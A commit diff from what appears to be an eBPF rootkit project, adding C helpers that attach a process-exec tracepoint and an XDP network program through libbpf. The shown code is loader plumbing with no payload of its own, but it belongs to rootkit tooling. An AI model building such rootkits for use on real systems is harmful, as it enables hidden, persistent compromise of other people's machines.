Further improvements in the rootkit configuration by the user

src/user/include/modules/module_manager.h

@@ -22,4 +22,6 @@ typedef struct module_config_t{
 
 extern module_config_t module_config;
 
+
+
 #endif

src/user/include/modules/sched.h

@@ -0,0 +1,18 @@
+#ifndef __MOD_SCHED_H
+#define __MOD_SCHED_H
+
+#include <linux/bpf.h>
+#include <bpf/libbpf.h>
+#include "xdp_filter.skel.h"
+
+int attach_handle_sched_process_exec(struct xdp_filter_bpf *skel){
+    skel->links.handle_sched_process_exec = bpf_program__attach(skel->progs.handle_sched_process_exec);
+	return libbpf_get_error(skel->links.handle_sched_process_exec);
+}
+
+int attach_sched_all(struct xdp_filter_bpf *skel){
+    return attach_handle_sched_process_exec(skel);
+}
+
+
+#endif

src/user/include/modules/xdp.h

@@ -1,5 +1,59 @@
 #ifndef __MOD_XDP_H
 #define __MOD_XDP_H
 
+int attach_xdp_all(struct xdp_filter_bpf *skel, __u32 ifindex, __u32 flags){
+    //Attach BPF program to network interface
+	//New way of doing it: it allows for future addition of multiple 
+	//XDP programs attached to same interface if needed
+	//Also done this way to modularize attaching the different tracepoints
+	//of the rootkit
+	/** @ref Test suite by readhat ebpf devs on XDP
+	 *  https://git.zx2c4.com/linux/plain/tools/testing/selftests/bpf/prog_tests/xdp_link.c 
+	 */
+	struct bpf_prog_info prog_info;
+	__u32 bpf_prog_info_size = sizeof(prog_info);
+	__u32 xdp_prog_fd = bpf_program__fd(skel->progs.xdp_receive);
+	__u32 xdp_prog_id_old = 0;
+	__u32 xdp_prog_id_new;
+    __u32 err;
+	DECLARE_LIBBPF_OPTS(bpf_xdp_set_link_opts, opts, .old_fd = -1);
+	
+	memset(&prog_info, 0, bpf_prog_info_size);
+	err = bpf_obj_get_info_by_fd(xdp_prog_fd, &prog_info, &bpf_prog_info_size);
+	if(err<0){
+		fprintf(stderr, "Failed to setup xdp link\n");
+		return -1;
+	}
+	xdp_prog_id_new = prog_info.id;
+	
+	//Check whether there exists previously loaded XDP program
+	err = bpf_get_link_xdp_id(ifindex, &xdp_prog_id_old, 0);
+	if(err<0 || (xdp_prog_id_old!=0 && xdp_prog_id_old!=xdp_prog_id_new)){
+		fprintf(stderr, "Xdp program found id--> old:%u != new:%u\n", xdp_prog_id_old, xdp_prog_id_new);
+		fprintf(stderr,"This should not happen, since our xdp program is removed automatically between calls\nRun `ip link set dev lo xdpgeneric off` to detach whichever program is running");
+		//TODO automatically force the reattach
+		return -1;
+	}
+
+    // Attach loaded xdp program
+	skel->links.xdp_receive = bpf_program__attach_xdp(skel->progs.xdp_receive, ifindex);
+	err = libbpf_get_error(skel->links.xdp_receive);
+	if (err<0) {
+		fprintf(stderr, "Failed to attach XDP program\n");
+		return -1;
+	}
+
+    return 0;
+}
+
+int detach_xdp_all(__u32 fd, __u32 ifindex, __u32 flags){
+    int err = bpf_set_link_xdp_fd(ifindex, fd, flags);
+    if(err<0){
+        fprintf(stderr, "Failed to detach XDP program\n");
+		return -1;
+    }
+
+    return 0;
+}
 
 #endif